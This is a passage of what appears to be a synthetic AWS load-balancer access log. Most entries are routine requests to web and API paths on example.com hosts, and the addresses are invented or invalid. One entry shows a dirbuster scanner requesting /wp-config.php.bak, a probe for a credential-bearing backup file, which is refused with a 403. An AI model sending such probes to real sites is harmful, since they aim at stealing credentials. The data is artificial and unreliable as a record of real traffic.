Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2e7-c71e023e6d374ab9a3e728dc" "prod-web-alb.example.com" "-" 7 2024-11-01T01:56:39.903595Z "forward" "-" "-" "10.0.101.232:443" "200" "-" "-" +https 2024-11-01T01:56:40.664178Z prod-api-alb 154.243.121.132:19026 10.0.95.169:443 0.006650 0.339667 0.008168 200 200 163 7057 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2e8-72faf7faa9034e3486e1e201" "prod-api-alb.example.com" "-" 3 2024-11-01T01:56:40.664178Z "forward" "-" "-" "10.0.95.169:443" "200" "-" "-" +https 2024-11-01T01:56:42.536823Z prod-web-alb 123.95.226.52:57354 10.0.175.197:443 0.006484 0.077523 0.099216 200 200 618 11250 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2ea-e9f7ea5fd419475e8f6d867d" "prod-web-alb.example.com" "-" 7 2024-11-01T01:56:42.536823Z "forward" "-" "-" "10.0.175.197:443" "200" "-" "-" +https 2024-11-01T01:56:43.997054Z staging-alb 115.25.143.99:33668 101.255.202.3:8080 0.022668 0.571345 0.061332 302 302 431 8212 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2eb-e038f7b6403b4ed89728d88f" "staging-alb.example.com" "-" 8 2024-11-01T01:56:43.997054Z "forward" "-" "-" "101.255.202.3:8080" "302" "-" "-" +https 2024-11-01T01:56:45.984989Z prod-web-alb 18.34.142.85:14469 10.0.62.79:443 0.091985 0.223878 0.041504 301 301 985 12590 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2ed-09e7db1f4d8d4b22bad41f9b" "prod-web-alb.example.com" "-" 9 2024-11-01T01:56:45.984989Z "forward" "-" "-" "10.0.62.79:443" "301" "-" "-" +https 2024-11-01T01:56:46.173108Z prod-web-alb 180.251.39.157:49189 10.0.33.196:443 0.006144 0.411057 0.012620 404 404 372 1249 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2ee-2148e4afc09943a5b9b55cb7" "prod-web-alb.example.com" "-" 6 2024-11-01T01:56:46.173108Z "forward" "-" "-" "10.0.33.196:443" "404" "-" "-" +https 2024-11-01T01:56:47.252753Z prod-api-alb 3.136.197.246:63014 10.0.68.13:443 0.054828 0.364215 0.042598 404 404 730 12844 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2ef-1bd42a3a92204311b1b4a90a" "prod-api-alb.example.com" "-" 5 2024-11-01T01:56:47.252753Z "forward" "-" "-" "10.0.68.13:443" "404" "-" "-" +https 2024-11-01T01:56:48.258877Z prod-api-alb 143.244.43.63:45021 10.0.171.243:443 0.080759 0.385223 0.009881 301 301 59 4604 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2f0-dc03f2146d79444da58a352c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:56:48.258877Z "forward" "-" "-" "10.0.171.243:443" "301" "-" "-" +https 2024-11-01T01:56:49.953698Z prod-web-alb 245.54.85.160:49499 10.0.92.3:443 0.045647 0.138281 0.050578 302 302 946 9179 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2f1-ba33126711f74f9694b444f8" "prod-web-alb.example.com" "-" 3 2024-11-01T01:56:49.953698Z "forward" "-" "-" "10.0.92.3:443" "302" "-" "-" +https 2024-11-01T01:56:51.889245Z prod-api-alb 251.126.172.251:51462 10.0.115.189:443 0.010483 0.184588 0.035885 200 200 771 6255 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2f3-379d489ea53147bd8df5d473" "prod-api-alb.example.com" "-" 10 2024-11-01T01:56:51.889245Z "forward" "-" "-" "10.0.115.189:443" "200" "-" "-" +https 2024-11-01T01:56:53.245400Z prod-api-alb 117.39.47.141:59475 10.0.102.4:443 0.033480 0.195862 0.011408 200 200 939 8454 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2f5-8b416328649149198686b712" "prod-api-alb.example.com" "-" 2 2024-11-01T01:56:53.245400Z "forward" "-" "-" "10.0.102.4:443" "200" "-" "-" +https 2024-11-01T01:56:53.776600Z staging-alb 110.222.48.200:53027 13.145.55.39:8080 0.133641 0.216435 0.125661 302 302 326 13490 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2f5-2948e2f35eda465d9eb4b534" "staging-alb.example.com" "-" 5 2024-11-01T01:56:53.776600Z "forward" "-" "-" "13.145.55.39:8080" "302" "-" "-" +https 2024-11-01T01:56:54.295860Z staging-alb 239.205.40.32:22769 242.140.101.167:443 0.065073 0.456208 0.000514 200 200 236 4076 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2f6-1aa92ff63acf4cc3a2b278be" "staging-alb.example.com" "-" 5 2024-11-01T01:56:54.295860Z "forward" "-" "-" "242.140.101.167:443" "200" "-" "-" +https 2024-11-01T01:56:54.705664Z prod-api-alb 77.171.75.56:55941 10.0.140.86:443 0.009296 0.473544 0.078846 301 301 484 12138 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2f6-0bd2c42d8fc7464586bb7d55" "prod-api-alb.example.com" "-" 6 2024-11-01T01:56:54.705664Z "forward" "-" "-" "10.0.140.86:443" "301" "-" "-" +https 2024-11-01T01:56:55.996774Z prod-web-alb 20.172.127.95:59600 10.0.199.125:443 0.010218 0.362126 0.015706 200 200 168 13730 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2f7-e9727627d0c24dd8b1ebf835" "prod-web-alb.example.com" "-" 9 2024-11-01T01:56:55.996774Z "forward" "-" "-" "10.0.199.125:443" "200" "-" "-" +https 2024-11-01T01:56:56.207856Z staging-alb 119.66.129.139:26844 29.186.123.93:80 0.075019 0.104126 0.037382 200 200 728 4811 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2f8-cf7d597e47044fad8ca41427" "staging-alb.example.com" "-" 1 2024-11-01T01:56:56.207856Z "forward" "-" "-" "29.186.123.93:80" "200" "-" "-" +https 2024-11-01T01:56:57.155175Z staging-alb 142.53.21.190:36151 214.100.217.192:80 0.098631 0.104383 0.056175 200 200 338 3529 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2f9-a8a1004042484b2d8e9edbc9" "staging-alb.example.com" "-" 4 2024-11-01T01:56:57.155175Z "forward" "-" "-" "214.100.217.192:80" "200" "-" "-" +https 2024-11-01T01:56:58.421097Z prod-api-alb 228.252.135.167:42799 10.0.157.253:443 0.029603 0.287114 0.056726 200 200 125 1306 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2fa-f7b9e018835d4a519b41b904" "prod-api-alb.example.com" "-" 8 2024-11-01T01:56:58.421097Z "forward" "-" "-" "10.0.157.253:443" "200" "-" "-" +https 2024-11-01T01:56:59.587252Z prod-web-alb 242.248.67.249:52092 10.0.176.2:443 0.031714 0.474046 0.075752 200 200 29 1525 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2fb-94b3aa7cde7f4aba8c186ac6" "prod-web-alb.example.com" "-" 10 2024-11-01T01:56:59.587252Z "forward" "-" "-" "10.0.176.2:443" "200" "-" "-" +http 2024-11-01T01:57:00.955390Z staging-alb 94.170.126.123:54528 204.2.62.246:80 0.042968 0.250037 0.103269 200 200 210 5446 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2fc-54c3e125dd7446c5a93ce75c" "staging-alb.example.com" "-" 8 2024-11-01T01:57:00.955390Z "forward" "-" "-" "204.2.62.246:80" "200" "-" "-" +https 2024-11-01T01:57:02.466998Z prod-api-alb 124.31.33.220:40777 10.0.168.1:443 0.066218 0.073983 0.026269 302 302 557 2368 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2fe-0d08c7c18c3946e4ae295aed" "prod-api-alb.example.com" "-" 5 2024-11-01T01:57:02.466998Z "forward" "-" "-" "10.0.168.1:443" "302" "-" "-" +https 2024-11-01T01:57:04.422500Z prod-api-alb 14.252.50.103:30511 10.0.211.6:443 0.008893 0.461626 0.059449 200 200 623 2343 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d300-a5e92f7924c343e3904d2dfd" "prod-api-alb.example.com" "-" 6 2024-11-01T01:57:04.422500Z "forward" "-" "-" "10.0.211.6:443" "200" "-" "-" +https 2024-11-01T01:57:05.760458Z prod-api-alb 45.155.205.102:49943 10.0.168.175:443 0.013164 0.094350 0.009262 403 403 226 12762 "GET /wp-config.php.bak HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d301-24a2b9db9ad4444a9dc4d93e" "-" "-" 3 2024-11-01T01:57:05.760458Z "forward" "-" "-" "10.0.168.175:443" "403" "-" "-" +https 2024-11-01T01:57:06.129113Z prod-web-alb 32.221.6.64:47183 10.0.78.177:443 0.032176 0.006235 0.043190 200 200 178 12236 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d302-28cbe61a427045ef98454915" "prod-web-alb.example.com" "-" 1 2024-11-01T01:57:06.129113Z "forward" "-" "-" "10.0.78.177:443" "200" "-" "-" +https 2024-11-01T01:57:06.452576Z staging-alb 123.114.9.150:57687 184.104.239.228:8080 0.072177 0.732752 0.123262 200 200 379 4723 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d302-a8667bbe477d40a9beaf3167" "staging-alb.example.com" "-" 8 2024-11-01T01:57:06.452576Z "forward" "-" "-" "184.104.239.228:8080" "200" "-" "-" +https 2024-11-01T01:57:07.211467Z prod-web-alb 91.211.195.225:59944 10.0.167.45:443 0.057532 0.496630 0.073586 200 200 915 3225 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d303-873e32d026b749bd9c3b6ba6" "prod-web-alb.example.com" "-" 0 2024-11-01T01:57:07.211467Z "forward" "-" "-" "10.0.167.45:443" "200" "-" "-" +https 2024-11-01T01:57:09.045734Z prod-api-alb 255.80.153.207:60950 10.0.209.195:443 0.027105 0.298615 0.053395 200 200 548 5530 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d305-9468636eba8f4e00a3d11257" "prod-api-alb.example.com" "-" 9 2024-11-01T01:57:09.045734Z "forward" "-" "-" "10.0.209.195:443" "200" "-" "-" +https 2024-11-01T01:57:10.683944Z prod-web-alb 127.237.84.110:49530 10.0.237.46:443 0.039943 0.260871 0.078580 200 200 812 7096 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d306-8a19773b72014f9bb1498957" "prod-web-alb.example.com" "-" 9 2024-11-01T01:57:10.683944Z "forward" "-" "-" "10.0.237.46:443" "200" "-" "-" +https 2024-11-01T01:57:10.997436Z prod-web-alb 219.5.144.195:16670 10.0.212.208:443 0.057189 0.465836 0.079807 200 200 868 5028 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d306-493a7a4dcb80473b9d5aaf0c" "prod-web-alb.example.com" "-" 9 2024-11-01T01:57:10.997436Z "forward" "-" "-" "10.0.212.208:443" "200" "-" "-" +https 2024-11-01T01:57:12.106217Z prod-api-alb 67.112.26.144:10199 10.0.63.25:443 0.004846 0.379359 0.077527 301 301 604 3739 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d308-9b7641bb685e4fb8b9c85ad2" "prod-api-alb.example.com" "-" 0 2024-11-01T01:57:12.106217Z "forward" "-" "-" "10.0.63.25:443" "301" "-" "-" +https 2024-11-01T01:57:13.470285Z prod-web-alb 75.153.82.112:43516 10.0.146.27:443 0.039642 0.137458 0.019832 200 200 346 9531 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d309-db8cd39aca524f28b00a8a4c" "prod-web-alb.example.com" "-" 10 2024-11-01T01:57:13.470285Z "forward" "-" "-" "10.0.146.27:443" "200" "-" "-" +http 2024-11-01T01:57:15.377966Z staging-alb 51.168.236.41:26828 233.48.230.92:443 0.096664 0.391488 0.065830 404 404 621 4275 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d30b-416acba1c419405a9017d720" "staging-alb.example.com" "-" 10 2024-11-01T01:57:15.377966Z "forward" "-" "-" "233.48.230.92:443" "404" "-" "-" +https 2024-11-01T01:57:15.583641Z prod-api-alb 160.238.250.176:55115 10.0.166.167:443 0.049024 0.471145 0.033314 200 200 811 5806 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d30b-5b570caf4e0e4082bd081892" "prod-api-alb.example.com" "-" 7 2024-11-01T01:57:15.583641Z "forward" "-" "-" "10.0.166.167:443" "200" "-" "-" +https 2024-11-01T01:57:17.541157Z prod-web-alb 44.230.31.210:47720 10.0.239.251:443 0.051953 0.108448 0.006875 200 200 346 4443 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d30d-12e5720b421049bb9748e355" "prod-web-alb.example.com" "-" 1 2024-11-01T01:57:17.541157Z "forward" "-" "-" "10.0.239.251:443" "200" "-" "-" +https 2024-11-01T01:57:19.180478Z prod-api-alb 233.247.150.45:17889 10.0.61.95:443 0.042611 0.043078 0.017967 404 404 921 816 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d30f-a7d59a59bd1542c38eefad9e" "prod-api-alb.example.com" "-" 9 2024-11-01T01:57:19.180478Z "forward" "-" "-" "10.0.61.95:443" "404" "-" "-" +https 2024-11-01T01:57:20.587941Z prod-api-alb 226.181.52.96:33678 10.0.171.115:443 0.013827 0.423107 0.069114 200 200 361 9378 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d310-6801666d4a6a44cdb30801db" "prod-api-alb.example.com" "-" 1 2024-11-01T01:57:20.587941Z "forward" "-" "-" "10.0.171.115:443" "200" "-" "-" +https 2024-11-01T01:57:22.139996Z staging-alb 0.58.207.141:31943 67.122.18.180:8080 0.099321 0.749979 0.007775 301 301 560 3037 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d312-9b304df6a25a4ac7ae55729a" "staging-alb.example.com" "-" 2 2024-11-01T01:57:22.139996Z "forward" "-" "-" "67.122.18.180:8080" "301" "-" "-" +https 2024-11-01T01:57:22.808863Z prod-api-alb 55.144.39.58:21061 10.0.43.178:443 0.046545 0.226073 0.094812 404 404 806 11347 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d312-50151769fa71487a97e3c3db" "prod-api-alb.example.com" "-" 8 2024-11-01T01:57:22.808863Z "forward" "-" "-" "10.0.43.178:443" "404" "-" "-" +https 2024-11-01T01:57:23.266650Z staging-alb 71.190.129.189:37096 103.105.12.109:80 0.096175 0.063559 0.070919 302 302 194 2125 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d313-ad5a494f62fe4866b32069b5" "staging-alb.example.com" "-" 8 2024-11-01T01:57:23.266650Z "forward" "-" "-" "103.105.12.109:80" "302" "-" "-" +http 2024-11-01T01:57:24.822651Z staging-alb 136.69.56.40:17205 100.26.167.8:443 0.014388 0.529494 0.026556 302 302 19 12779 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d314-95bf43bc6d4244368330e1e2" "staging-alb.example.com" "-" 9 2024-11-01T01:57:24.822651Z "forward" "-" "-" "100.26.167.8:443" "302" "-" "-" +https 2024-11-01T01:57:25.583150Z prod-web-alb 217.189.226.69:58987 10.0.28.255:443 0.074897 0.274414 0.074876 200 200 461 9516 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d315-b20ca90339504c2c96c8efe8" "prod-web-alb.example.com" "-" 4 2024-11-01T01:57:25.583150Z "forward" "-" "-" "10.0.28.255:443" "200" "-" "-" +https 2024-11-01T01:57:26.595506Z prod-web-alb 115.181.137.253:25900 10.0.251.4:443 0.094701 0.382020 0.062886 200 200 980 14939 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d316-fc0b082cbf7c4d12b409ac01" "prod-web-alb.example.com" "-" 5 2024-11-01T01:57:26.595506Z "forward" "-" "-" "10.0.251.4:443" "200" "-" "-" +https 2024-11-01T01:57:28.262099Z prod-web-alb 183.110.241.234:58968 10.0.67.142:443 0.031410 0.379735 0.027479 200 200 892 6806 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d318-ccffe349720b47fb9751f9ec" "prod-web-alb.example.com" "-" 3 2024-11-01T01:57:28.262099Z "forward" "-" "-" "10.0.67.142:443" "200" "-" "-" +http 2024-11-01T01:57:29.150423Z staging-alb 89.160.139.44:60351 26.235.205.208:443 0.017029 0.745979 0.144930 200 200 669 13495 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d319-27bfac80a77c4523a481897f" "staging-alb.example.com" "-" 4 2024-11-01T01:57:29.150423Z "forward" "-" "-" "26.235.205.208:443" "200" "-" "-" +http 2024-11-01T01:57:30.362291Z staging-alb 71.221.116.164:64489 163.206.36.112:80 0.046710 0.261271 0.028029 200 200 187 12167 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d31a-cb725a823d8749a3b42364d7" "staging-alb.example.com" "-" 5 2024-11-01T01:57:30.362291Z "forward" "-" "-" "163.206.36.112:80" "200" "-" "-" +https 2024-11-01T01:57:31.285727Z prod-api-alb 201.90.112.75:58045 10.0.115.91:443 0.016412 0.121596 0.037589 200 200 359 10208 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d31b-8ea1412b6d064daf9a6ce36c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:57:31.285727Z "forward" "-" "-" "10.0.115.91:443" "200" "-" "-" +https 2024-11-01T01:57:31.881319Z staging-alb 103.124.138.66:25339 207.211.5.243:80 0.133296 0.616551 0.056429 404 404 305 5107 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d31b-0aa3af08050a46dcb5759b63" "staging-alb.example.com" "-" 5 2024-11-01T01:57:31.881319Z "forward" "-" "-" "207.211.5.243:80" "404" "-" "-" +https 2024-11-01T01:57:33.493982Z staging-alb 72.204.49.91:48854 120.44.146.69:8080 0.052993 0.568608 0.107534 200 200 870 12660 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 